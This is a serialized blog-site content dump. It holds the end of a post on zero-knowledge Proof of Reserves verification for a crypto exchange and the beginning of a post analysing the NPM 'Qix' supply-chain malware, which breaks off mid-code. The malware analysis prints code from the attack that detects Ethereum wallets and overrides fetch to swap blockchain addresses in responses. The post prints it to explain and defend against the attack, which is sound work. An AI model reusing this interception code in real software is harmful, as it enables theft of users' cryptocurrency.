",{"type":24,"tag":284,"props":103463,"children":103465},{"className":103464},[],[103466],{"type":29,"value":103467},"merkle_tree.json",{"type":29,"value":2744},{"type":24,"tag":284,"props":103470,"children":103472},{"className":103471},[],[103473],{"type":29,"value":103474},"final_proof.json",{"type":29,"value":14054},{"type":24,"tag":284,"props":103477,"children":103479},{"className":103478},[],[103480],{"type":29,"value":103481},"private_nonces.json",{"type":29,"value":103483}," files.",{"type":24,"tag":25,"props":103485,"children":103486},{},[103487],{"type":29,"value":103488},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":103490,"children":103491},{},[103492,103494,103500,103502,103507],{"type":29,"value":103493},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":284,"props":103495,"children":103497},{"className":103496},[],[103498],{"type":29,"value":103499},"inclusion_proof_\u003Cid>.json",{"type":29,"value":103501},"). ",{"type":24,"tag":42,"props":103503,"children":103504},{},[103505],{"type":29,"value":103506},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":66},{"type":24,"tag":235,"props":103509,"children":103511},{"id":103510},"verifying",[103512],{"type":29,"value":103513},"Verifying",{"type":24,"tag":25,"props":103515,"children":103516},{},[103517],{"type":24,"tag":188,"props":103518,"children":103519},{},[103520],{"type":29,"value":103521},"Global Proof",{"type":24,"tag":25,"props":103523,"children":103524},{},[103525,103527,103532,103533,103538],{"type":29,"value":103526},"To verify the global proof, the code deserializes the ",{"type":24,"tag":284,"props":103528,"children":103530},{"className":103529},[],[103531],{"type":29,"value":103467},{"type":29,"value":44263},{"type":24,"tag":284,"props":103534,"children":103536},{"className":103535},[],[103537],{"type":29,"value":103474},{"type":29,"value":103539}," files and performs these checks:",{"type":24,"tag":175,"props":103541,"children":103542},{},[103543,103548,103553,103558,103584],{"type":24,"tag":179,"props":103544,"children":103545},{},[103546],{"type":29,"value":103547},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":179,"props":103549,"children":103550},{},[103551],{"type":29,"value":103552},"Verify the ZK final proof.",{"type":24,"tag":179,"props":103554,"children":103555},{},[103556],{"type":29,"value":103557},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":179,"props":103559,"children":103560},{},[103561,103563,103569,103571,103576,103577,103582],{"type":29,"value":103562},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":284,"props":103564,"children":103566},{"className":103565},[],[103567],{"type":29,"value":103568},"merkle_tree_hash",{"type":29,"value":103570}," public input. This ensures that the ",{"type":24,"tag":284,"props":103572,"children":103574},{"className":103573},[],[103575],{"type":29,"value":103467},{"type":29,"value":1323},{"type":24,"tag":284,"props":103578,"children":103580},{"className":103579},[],[103581],{"type":29,"value":103474},{"type":29,"value":103583}," are linked (they belong to the same global proof).",{"type":24,"tag":179,"props":103585,"children":103586},{},[103587],{"type":29,"value":103588},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":103590,"children":103591},{},[103592],{"type":24,"tag":188,"props":103593,"children":103594},{},[103595],{"type":29,"value":103596},"Inclusion Proof",{"type":24,"tag":25,"props":103598,"children":103599},{},[103600,103602,103607,103609,103614],{"type":29,"value":103601},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":284,"props":103603,"children":103605},{"className":103604},[],[103606],{"type":29,"value":103499},{"type":29,"value":103608}," file and also the ",{"type":24,"tag":284,"props":103610,"children":103612},{"className":103611},[],[103613],{"type":29,"value":103474},{"type":29,"value":103615},". After that, it performs these checks:",{"type":24,"tag":175,"props":103617,"children":103618},{},[103619,103623,103628,103633],{"type":24,"tag":179,"props":103620,"children":103621},{},[103622],{"type":29,"value":103552},{"type":24,"tag":179,"props":103624,"children":103625},{},[103626],{"type":29,"value":103627},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":179,"props":103629,"children":103630},{},[103631],{"type":29,"value":103632},"Recalculate the user-related node leaf hash.",{"type":24,"tag":179,"props":103634,"children":103635},{},[103636],{"type":29,"value":103637},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":228,"props":103639,"children":103641},{"id":103640},"por-verifier-server",[103642],{"type":29,"value":103643},"PoR Verifier Server",{"type":24,"tag":25,"props":103645,"children":103646},{},[103647,103649,103655],{"type":29,"value":103648},"To automate the verification process, we created a ",{"type":24,"tag":57,"props":103650,"children":103652},{"href":99285,"rel":103651},[61],[103653],{"type":29,"value":103654},"verifier server",{"type":29,"value":103656}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":103658,"children":103659},{},[103660],{"type":29,"value":103661},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":103663,"children":103664},{},[103665],{"type":24,"tag":11511,"props":103666,"children":103668},{"alt":57299,"src":103667},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":103670,"children":103671},{},[103672],{"type":29,"value":103673},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":1380,"props":103675,"children":103676},{},[103677,103687,103697,103707,103717,103727],{"type":24,"tag":179,"props":103678,"children":103679},{},[103680,103685],{"type":24,"tag":188,"props":103681,"children":103682},{},[103683],{"type":29,"value":103684},"Status",{"type":29,"value":103686}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":179,"props":103688,"children":103689},{},[103690,103695],{"type":24,"tag":188,"props":103691,"children":103692},{},[103693],{"type":29,"value":103694},"Proof Timestamp",{"type":29,"value":103696}," --> when the proof was generated by the exchange.",{"type":24,"tag":179,"props":103698,"children":103699},{},[103700,103705],{"type":24,"tag":188,"props":103701,"children":103702},{},[103703],{"type":29,"value":103704},"Verify Timestamp",{"type":29,"value":103706}," --> when the proof was verified by the PoR server.",{"type":24,"tag":179,"props":103708,"children":103709},{},[103710,103715],{"type":24,"tag":188,"props":103711,"children":103712},{},[103713],{"type":29,"value":103714},"Proof File URL",{"type":29,"value":103716}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":179,"props":103718,"children":103719},{},[103720,103725],{"type":24,"tag":188,"props":103721,"children":103722},{},[103723],{"type":29,"value":103724},"Prover Version",{"type":29,"value":103726}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":179,"props":103728,"children":103729},{},[103730,103735],{"type":24,"tag":188,"props":103731,"children":103732},{},[103733],{"type":29,"value":103734},"File Hash (SHA256)",{"type":29,"value":103736}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":103738,"children":103739},{},[103740],{"type":29,"value":103741},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":103743,"children":103744},{},[103745],{"type":24,"tag":11511,"props":103746,"children":103748},{"alt":57299,"src":103747},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":103750,"children":103751},{},[103752,103754,103760,103762,103768],{"type":29,"value":103753},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":57,"props":103755,"children":103758},{"href":103756,"rel":103757},"https://backpack.exchange/reserves",[61],[103759],{"type":29,"value":103756},{"type":29,"value":103761}," and our verifier server for backpack at ",{"type":24,"tag":57,"props":103763,"children":103766},{"href":103764,"rel":103765},"https://backpack-por.osec.io/",[61],[103767],{"type":29,"value":103764},{"type":29,"value":66},{"type":24,"tag":228,"props":103770,"children":103772},{"id":103771},"self-verification",[103773],{"type":29,"value":103774},"Self-verification",{"type":24,"tag":25,"props":103776,"children":103777},{},[103778],{"type":29,"value":103779},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":235,"props":103781,"children":103783},{"id":103782},"how-to-verify-if-i-was-included",[103784],{"type":29,"value":103785},"How to verify if I was included?",{"type":24,"tag":25,"props":103787,"children":103788},{},[103789],{"type":29,"value":103790},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":175,"props":103792,"children":103793},{},[103794,103805,103823],{"type":24,"tag":179,"props":103795,"children":103796},{},[103797,103804],{"type":24,"tag":57,"props":103798,"children":103801},{"href":103799,"rel":103800},"https://github.com/otter-sec/por_v2/releases",[61],[103802],{"type":29,"value":103803},"Download the PoRv2 executable from our github",{"type":29,"value":66},{"type":24,"tag":179,"props":103806,"children":103807},{},[103808,103810,103815,103816,103821],{"type":29,"value":103809},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":284,"props":103811,"children":103813},{"className":103812},[],[103814],{"type":29,"value":103499},{"type":29,"value":1323},{"type":24,"tag":284,"props":103817,"children":103819},{"className":103818},[],[103820],{"type":29,"value":103474},{"type":29,"value":103822},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":179,"props":103824,"children":103825},{},[103826,103828,103834],{"type":29,"value":103827},"Open the terminal and execute this: ",{"type":24,"tag":284,"props":103829,"children":103831},{"className":103830},[],[103832],{"type":29,"value":103833},"./plonky2_por verify-inclusion",{"type":29,"value":66},{"type":24,"tag":25,"props":103836,"children":103837},{},[103838],{"type":29,"value":103839},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":317,"props":103841,"children":103843},{"code":103842},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[103844],{"type":24,"tag":284,"props":103845,"children":103846},{"__ignoreMap":7},[103847],{"type":29,"value":103842},{"type":24,"tag":235,"props":103849,"children":103851},{"id":103850},"how-can-i-verify-the-global-proof",[103852],{"type":29,"value":103853},"How can I verify the global proof?",{"type":24,"tag":25,"props":103855,"children":103856},{},[103857],{"type":29,"value":103858},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":175,"props":103860,"children":103861},{},[103862,103871,103889],{"type":24,"tag":179,"props":103863,"children":103864},{},[103865,103870],{"type":24,"tag":57,"props":103866,"children":103868},{"href":103799,"rel":103867},[61],[103869],{"type":29,"value":103803},{"type":29,"value":66},{"type":24,"tag":179,"props":103872,"children":103873},{},[103874,103876,103881,103882,103887],{"type":29,"value":103875},"Download the ",{"type":24,"tag":284,"props":103877,"children":103879},{"className":103878},[],[103880],{"type":29,"value":103467},{"type":29,"value":44263},{"type":24,"tag":284,"props":103883,"children":103885},{"className":103884},[],[103886],{"type":29,"value":103474},{"type":29,"value":103888}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":179,"props":103890,"children":103891},{},[103892,103894,103899],{"type":29,"value":103893},"Open the terminal and execute ",{"type":24,"tag":284,"props":103895,"children":103897},{"className":103896},[],[103898],{"type":29,"value":103833},{"type":29,"value":103900},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":103902,"children":103903},{},[103904],{"type":29,"value":103905},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":317,"props":103907,"children":103909},{"code":103908},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[103910],{"type":24,"tag":284,"props":103911,"children":103912},{"__ignoreMap":7},[103913],{"type":29,"value":103908},{"type":24,"tag":25,"props":103915,"children":103916},{},[103917],{"type":29,"value":103918},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":317,"props":103920,"children":103922},{"code":103921},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[103923],{"type":24,"tag":284,"props":103924,"children":103925},{"__ignoreMap":7},[103926],{"type":29,"value":103921},{"type":24,"tag":228,"props":103928,"children":103929},{"id":10412},[103930],{"type":29,"value":226},{"type":24,"tag":25,"props":103932,"children":103933},{},[103934],{"type":29,"value":103935},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":24,"tag":25,"props":103937,"children":103938},{},[103939,103941,103947],{"type":29,"value":103940},"We are currently working with Backpack to implement this algorithm ",{"type":24,"tag":57,"props":103942,"children":103944},{"href":103756,"rel":103943},[61],[103945],{"type":29,"value":103946},"in production",{"type":29,"value":103948}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":24,"tag":25,"props":103950,"children":103951},{},[103952,103954,103961],{"type":29,"value":103953},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":24,"tag":57,"props":103955,"children":103958},{"href":103956,"rel":103957},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[61],[103959],{"type":29,"value":103960},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":29,"value":66},{"title":7,"searchDepth":367,"depth":367,"links":103963},[103964,103965,103966,103967,103970,103975,103979,103980,103984],{"id":99213,"depth":367,"text":99216},{"id":99294,"depth":367,"text":99297},{"id":99364,"depth":367,"text":99367},{"id":99418,"depth":367,"text":99421,"children":103968},[103969],{"id":99497,"depth":408,"text":99500},{"id":99585,"depth":367,"text":99588,"children":103971},[103972,103973,103974],{"id":99658,"depth":408,"text":99661},{"id":100130,"depth":408,"text":100133},{"id":101869,"depth":408,"text":101872},{"id":103448,"depth":367,"text":103451,"children":103976},[103977,103978],{"id":16834,"depth":408,"text":103456},{"id":103510,"depth":408,"text":103513},{"id":103640,"depth":367,"text":103643},{"id":103771,"depth":367,"text":103774,"children":103981},[103982,103983],{"id":103782,"depth":408,"text":103785},{"id":103850,"depth":408,"text":103853},{"id":10412,"depth":367,"text":226},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":103989,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103990,"description":103991,"date":103992,"author":37910,"image":103993,"isFeatured":16,"onBlogPage":16,"tags":103996,"body":103999,"_type":10481,"_id":106425,"_source":10483,"_file":106426,"_stem":106427,"_extension":10486},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":103994,"width":103995,"height":14},"/posts/supply-chain-attcks/title.png",1536,[103997,103998],"npm","supply-chain",{"type":21,"children":104000,"toc":106408},[104001,104014,104019,104024,104030,104035,104043,104373,104381,104944,104952,105659,105665,105670,105676,105681,105686,105692,105697,105709,105714,105740,105827,105839,105864,105880,105885,105890,106096,106138,106143,106155,106161,106173,106215,106228,106308,106320,106333,106340,106351,106359,106365,106378,106383,106387,106392,106404],{"type":24,"tag":25,"props":104002,"children":104003},{},[104004,104006,104012],{"type":29,"value":104005},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":24,"tag":284,"props":104007,"children":104009},{"className":104008},[],[104010],{"type":29,"value":104011},"chalk",{"type":29,"value":104013},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":24,"tag":25,"props":104015,"children":104016},{},[104017],{"type":29,"value":104018},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":24,"tag":25,"props":104020,"children":104021},{},[104022],{"type":29,"value":104023},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":24,"tag":228,"props":104025,"children":104027},{"id":104026},"qix-malware-how-it-worked",[104028],{"type":29,"value":104029},"Qix Malware: How It Worked",{"type":24,"tag":25,"props":104031,"children":104032},{},[104033],{"type":29,"value":104034},"The attacker published modified versions of packages with code designed to do three things:",{"type":24,"tag":175,"props":104036,"children":104037},{},[104038],{"type":24,"tag":179,"props":104039,"children":104040},{},[104041],{"type":29,"value":104042},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":24,"tag":317,"props":104044,"children":104046},{"code":104045,"language":38075,"meta":7,"className":38073,"style":7},"async function checkethereumw() {\n  try {\n    const _0x124ed3 = await window.ethereum.request({\n      'method': \"eth_accounts\"\n    });\n    if (_0x124ed3.length > 0) {\n      runmask();\n      if (rund != 1) {\n        rund = 1;\n        neth = 1;\n        newdlocal();\n      }\n    } else if (rund != 1) {\n      rund = 1;\n      newdlocal();\n    }\n  }\n}\n",[104047],{"type":24,"tag":284,"props":104048,"children":104049},{"__ignoreMap":7},[104050,104070,104082,104126,104143,104150,104186,104198,104226,104246,104266,104278,104285,104320,104340,104352,104359,104366],{"type":24,"tag":327,"props":104051,"children":104052},{"class":329,"line":330},[104053,104057,104061,104066],{"type":24,"tag":327,"props":104054,"children":104055},{"style":334},[104056],{"type":29,"value":42858},{"type":24,"tag":327,"props":104058,"children":104059},{"style":334},[104060],{"type":29,"value":44927},{"type":24,"tag":327,"props":104062,"children":104063},{"style":340},[104064],{"type":29,"value":104065}," checkethereumw",{"type":24,"tag":327,"props":104067,"children":104068},{"style":346},[104069],{"type":29,"value":9697},{"type":24,"tag":327,"props":104071,"children":104072},{"class":329,"line":367},[104073,104078],{"type":24,"tag":327,"props":104074,"children":104075},{"style":425},[104076],{"type":29,"value":104077},"  try",{"type":24,"tag":327,"props":104079,"children":104080},{"style":346},[104081],{"type":29,"value":497},{"type":24,"tag":327,"props":104083,"children":104084},{"class":329,"line":408},[104085,104089,104094,104098,104102,104106,104110,104114,104118,104122],{"type":24,"tag":327,"props":104086,"children":104087},{"style":334},[104088],{"type":29,"value":58389},{"type":24,"tag":327,"props":104090,"children":104091},{"style":356},[104092],{"type":29,"value":104093}," _0x124ed3",{"type":24,"tag":327,"props":104095,"children":104096},{"style":381},[104097],{"type":29,"value":4809},{"type":24,"tag":327,"props":104099,"children":104100},{"style":425},[104101],{"type":29,"value":42924},{"type":24,"tag":327,"props":104103,"children":104104},{"style":356},[104105],{"type":29,"value":38118},{"type":24,"tag":327,"props":104107,"children":104108},{"style":346},[104109],{"type":29,"value":66},{"type":24,"tag":327,"props":104111,"children":104112},{"style":356},[104113],{"type":29,"value":38127},{"type":24,"tag":327,"props":104115,"children":104116},{"style":346},[104117],{"type":29,"value":66},{"type":24,"tag":327,"props":104119,"children":104120},{"style":340},[104121],{"type":29,"value":38203},{"type":24,"tag":327,"props":104123,"children":104124},{"style":346},[104125],{"type":29,"value":22664},{"type":24,"tag":327,"props":104127,"children":104128},{"class":329,"line":421},[104129,104134,104138],{"type":24,"tag":327,"props":104130,"children":104131},{"style":844},[104132],{"type":29,"value":104133},"      'method'",{"type":24,"tag":327,"props":104135,"children":104136},{"style":356},[104137],{"type":29,"value":1636},{"type":24,"tag":327,"props":104139,"children":104140},{"style":844},[104141],{"type":29,"value":104142}," \"eth_accounts\"\n",{"type":24,"tag":327,"props":104144,"children":104145},{"class":329,"line":450},[104146],{"type":24,"tag":327,"props":104147,"children":104148},{"style":346},[104149],{"type":29,"value":38967},{"type":24,"tag":327,"props":104151,"children":104152},{"class":329,"line":481},[104153,104157,104161,104166,104170,104174,104178,104182],{"type":24,"tag":327,"props":104154,"children":104155},{"style":425},[104156],{"type":29,"value":428},{"type":24,"tag":327,"props":104158,"children":104159},{"style":346},[104160],{"type":29,"value":5894},{"type":24,"tag":327,"props":104162,"children":104163},{"style":356},[104164],{"type":29,"value":104165},"_0x124ed3",{"type":24,"tag":327,"props":104167,"children":104168},{"style":346},[104169],{"type":29,"value":66},{"type":24,"tag":327,"props":104171,"children":104172},{"style":356},[104173],{"type":29,"value":16064},{"type":24,"tag":327,"props":104175,"children":104176},{"style":381},[104177],{"type":29,"value":5013},{"type":24,"tag":327,"props":104179,"children":104180},{"style":397},[104181],{"type":29,"value":6695},{"type":24,"tag":327,"props":104183,"children":104184},{"style":346},[104185],{"type":29,"value":364},{"type":24,"tag":327,"props":104187,"children":104188},{"class":329,"line":500},[104189,104194],{"type":24,"tag":327,"props":104190,"children":104191},{"style":340},[104192],{"type":29,"value":104193},"      runmask",{"type":24,"tag":327,"props":104195,"children":104196},{"style":346},[104197],{"type":29,"value":4838},{"type":24,"tag":327,"props":104199,"children":104200},{"class":329,"line":529},[104201,104205,104209,104214,104218,104222],{"type":24,"tag":327,"props":104202,"children":104203},{"style":425},[104204],{"type":29,"value":46000},{"type":24,"tag":327,"props":104206,"children":104207},{"style":346},[104208],{"type":29,"value":5894},{"type":24,"tag":327,"props":104210,"children":104211},{"style":356},[104212],{"type":29,"value":104213},"rund",{"type":24,"tag":327,"props":104215,"children":104216},{"style":381},[104217],{"type":29,"value":71110},{"type":24,"tag":327,"props":104219,"children":104220},{"style":397},[104221],{"type":29,"value":522},{"type":24,"tag":327,"props":104223,"children":104224},{"style":346},[104225],{"type":29,"value":364},{"type":24,"tag":327,"props":104227,"children":104228},{"class":329,"line":538},[104229,104234,104238,104242],{"type":24,"tag":327,"props":104230,"children":104231},{"style":356},[104232],{"type":29,"value":104233},"        rund",{"type":24,"tag":327,"props":104235,"children":104236},{"style":381},[104237],{"type":29,"value":4809},{"type":24,"tag":327,"props":104239,"children":104240},{"style":397},[104241],{"type":29,"value":522},{"type":24,"tag":327,"props":104243,"children":104244},{"style":346},[104245],{"type":29,"value":405},{"type":24,"tag":327,"props":104247,"children":104248},{"class":329,"line":547},[104249,104254,104258,104262],{"type":24,"tag":327,"props":104250,"children":104251},{"style":356},[104252],{"type":29,"value":104253},"        neth",{"type":24,"tag":327,"props":104255,"children":104256},{"style":381},[104257],{"type":29,"value":4809},{"type":24,"tag":327,"props":104259,"children":104260},{"style":397},[104261],{"type":29,"value":522},{"type":24,"tag":327,"props":104263,"children":104264},{"style":346},[104265],{"type":29,"value":405},{"type":24,"tag":327,"props":104267,"children":104268},{"class":329,"line":557},[104269,104274],{"type":24,"tag":327,"props":104270,"children":104271},{"style":340},[104272],{"type":29,"value":104273},"        newdlocal",{"type":24,"tag":327,"props":104275,"children":104276},{"style":346},[104277],{"type":29,"value":4838},{"type":24,"tag":327,"props":104279,"children":104280},{"class":329,"line":586},[104281],{"type":24,"tag":327,"props":104282,"children":104283},{"style":346},[104284],{"type":29,"value":20208},{"type":24,"tag":327,"props":104286,"children":104287},{"class":329,"line":1017},[104288,104292,104296,104300,104304,104308,104312,104316],{"type":24,"tag":327,"props":104289,"children":104290},{"style":346},[104291],{"type":29,"value":487},{"type":24,"tag":327,"props":104293,"children":104294},{"style":425},[104295],{"type":29,"value":492},{"type":24,"tag":327,"props":104297,"children":104298},{"style":425},[104299],{"type":29,"value":23305},{"type":24,"tag":327,"props":104301,"children":104302},{"style":346},[104303],{"type":29,"value":5894},{"type":24,"tag":327,"props":104305,"children":104306},{"style":356},[104307],{"type":29,"value":104213},{"type":24,"tag":327,"props":104309,"children":104310},{"style":381},[104311],{"type":29,"value":71110},{"type":24,"tag":327,"props":104313,"children":104314},{"style":397},[104315],{"type":29,"value":522},{"type":24,"tag":327,"props":104317,"children":104318},{"style":346},[104319],{"type":29,"value":364},{"type":24,"tag":327,"props":104321,"children":104322},{"class":329,"line":1026},[104323,104328,104332,104336],{"type":24,"tag":327,"props":104324,"children":104325},{"style":356},[104326],{"type":29,"value":104327},"      rund",{"type":24,"tag":327,"props":104329,"children":104330},{"style":381},[104331],{"type":29,"value":4809},{"type":24,"tag":327,"props":104333,"children":104334},{"style":397},[104335],{"type":29,"value":522},{"type":24,"tag":327,"props":104337,"children":104338},{"style":346},[104339],{"type":29,"value":405},{"type":24,"tag":327,"props":104341,"children":104342},{"class":329,"line":1048},[104343,104348],{"type":24,"tag":327,"props":104344,"children":104345},{"style":340},[104346],{"type":29,"value":104347},"      newdlocal",{"type":24,"tag":327,"props":104349,"children":104350},{"style":346},[104351],{"type":29,"value":4838},{"type":24,"tag":327,"props":104353,"children":104354},{"class":329,"line":1067},[104355],{"type":24,"tag":327,"props":104356,"children":104357},{"style":346},[104358],{"type":29,"value":535},{"type":24,"tag":327,"props":104360,"children":104361},{"class":329,"line":1075},[104362],{"type":24,"tag":327,"props":104363,"children":104364},{"style":346},[104365],{"type":29,"value":13439},{"type":24,"tag":327,"props":104367,"children":104368},{"class":329,"line":1084},[104369],{"type":24,"tag":327,"props":104370,"children":104371},{"style":346},[104372],{"type":29,"value":592},{"type":24,"tag":175,"props":104374,"children":104375},{"start":367},[104376],{"type":24,"tag":179,"props":104377,"children":104378},{},[104379],{"type":29,"value":104380},"Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)",{"type":24,"tag":317,"props":104382,"children":104384},{"code":104383,"language":38075,"meta":7,"className":38073,"style":7},"fetch = async function (...args) {\n  const originalResponse = await originalFetch.call(this, ...args);\n  const contentType = originalResponse.headers.get('Content-Type') || '';\n  let data;\n  if (contentType.includes('application/json')) {\n    data = await originalResponse.clone().json();\n  } else {\n    data = await originalResponse.clone().text();\n  }\n  const processedData = replaceAddresses(data);\n  const finalResponseText =\n    typeof processedData === 'string' ? processedData : JSON.stringify(processedData);\n  const finalResponse = new Response(finalResponseText, {\n    status: originalResponse.status,\n    statusText: originalResponse.statusText,\n    headers: originalResponse.headers,\n  });\n  return finalResponse;\n};\n",[104385],{"type":24,"tag":284,"props":104386,"children":104387},{"__ignoreMap":7},[104388,104423,104480,104542,104557,104594,104633,104648,104687,104694,104727,104743,104802,104840,104865,104890,104914,104922,104937],{"type":24,"tag":327,"props":104389,"children":104390},{"class":329,"line":330},[104391,104395,104399,104403,104407,104411,104415,104419],{"type":24,"tag":327,"props":104392,"children":104393},{"style":340},[104394],{"type":29,"value":40806},{"type":24,"tag":327,"props":104396,"children":104397},{"style":381},[104398],{"type":29,"value":4809},{"type":24,"tag":327,"props":104400,"children":104401},{"style":334},[104402],{"type":29,"value":43078},{"type":24,"tag":327,"props":104404,"children":104405},{"style":334},[104406],{"type":29,"value":44927},{"type":24,"tag":327,"props":104408,"children":104409},{"style":346},[104410],{"type":29,"value":5894},{"type":24,"tag":327,"props":104412,"children":104413},{"style":381},[104414],{"type":29,"value":1922},{"type":24,"tag":327,"props":104416,"children":104417},{"style":356},[104418],{"type":29,"value":44941},{"type":24,"tag":327,"props":104420,"children":104421},{"style":346},[104422],{"type":29,"value":364},{"type":24,"tag":327,"props":104424,"children":104425},{"class":329,"line":367},[104426,104430,104435,104439,104443,104448,104452,104456,104460,104464,104468,104472,104476],{"type":24,"tag":327,"props":104427,"children":104428},{"style":334},[104429],{"type":29,"value":42901},{"type":24,"tag":327,"props":104431,"children":104432},{"style":356},[104433],{"type":29,"value":104434}," 